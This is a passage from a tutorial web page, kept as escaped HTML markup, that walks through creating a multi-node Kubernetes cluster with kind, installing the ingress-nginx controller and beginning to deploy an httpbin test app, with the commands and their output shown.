style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e hostPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e protocol\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWith this we have now generated a 4 node cluster where we have a single\ncontrol-plane and three workers. Then we defined some extra configuration on\nthe control-plane:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ekubeadmConfigPatches\u003c/strong\u003e: We want to change the default configuration the\ncluster uses so it will tag the nodes with the \u003ccode\u003eingress-ready\u003c/code\u003e label so the\ncontroller will use them.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eextraPortMappings\u003c/strong\u003e: allow the local host to make requests to the Ingress controller over ports 80/443\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003enode-labels\u003c/strong\u003e: only allow the ingress controller to run on specific node(s) matching the label selector\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo now we can create the new cluster with the configuration. Save that config\nas \u003ccode\u003ekind_config.yml\u003c/code\u003e and then run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --image\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kindest/node:v1.25.11\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind_config.yml\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis time I have added a few additional flags on the commandline. \u003ccode\u003e--image\u003c/code\u003e\nallows us to use a different version of kubernetes and \u003ccode\u003e--name\u003c/code\u003e allows us to\nmake more than one cluster. So if you did not destroy the first cluster you\nwill see we have two of them now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e clusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ebut \u003ccode\u003ekind\u003c/code\u003e will swap the to the newest cluster by default:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e current-context\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-kind-multinode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 107s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we need to get the \u003ccode\u003eingress-nginx\u003c/code\u003e controller installed so we can start\nusing our cluster with ingress:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apply\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -f\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe manifests contains \u003ccode\u003ekind\u003c/code\u003e specific patches to forward the hostPorts to the ingress controller, set taint tolerations and schedule it to the custom labelled node.\u003c/p\u003e\n\u003cp\u003eThis will take a little bit of time to get up and running, you can monitor it\nby running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wait\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --namespace\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ingress-nginx\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --for=condition=ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --selector=app.kubernetes.io/component=controller\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --timeout=90s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eor just manually check the status:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e all\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ingress-nginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-admission-create-bbmlc\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Completed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-admission-patch-qlnr8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Completed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-controller-5f748f78c8-6tc6b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ContainerCreating\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TYPE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CLUSTER-IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EXTERNAL-IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PORT\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NodePort\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.96.228.248\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 80:31771/TCP,443:31759/TCP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/ingress-nginx-controller-admission\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ClusterIP\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.96.180.126\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 443/TCP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e UP-TO-DATE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AVAILABLE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edeployment.apps/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DESIRED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CURRENT\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ereplicaset.apps/ingress-nginx-controller-5f748f78c8\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e COMPLETIONS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DURATION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ejob.batch/ingress-nginx-admission-create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 22s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ejob.batch/ingress-nginx-admission-patch\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 35s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce \u003ccode\u003eingress-nginx-controller\u003c/code\u003e is in \u003ccode\u003eRunning\u003c/code\u003e state you are ready to go!\u003c/p\u003e\n\u003ch1\u003eDeploying your first app\u003c/h1\u003e\n\u003cp\u003eTo prove that the cluster is working correctly we will deploy\n\u003ca href=\"https://github.com/Kong/httpbin\"\u003ehttpbin\u003c/a\u003e which is a nice little API server\nso we can prove everything is working.\u003c/p\u003e\n\u003cp\u003eCreate a \u003ccode\u003ehttbin.yml\u003c/code\u003e file and paste this into it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eService\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e labels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e service\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ports\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e port\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e targetPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e selector\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eapps/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eDeployment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e replicas\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e selector\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matchLabels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e template\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e metadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e labels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e spec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e containers\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eimage\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edocker.io/mccutchen/go-httpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e imagePullPolicy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan 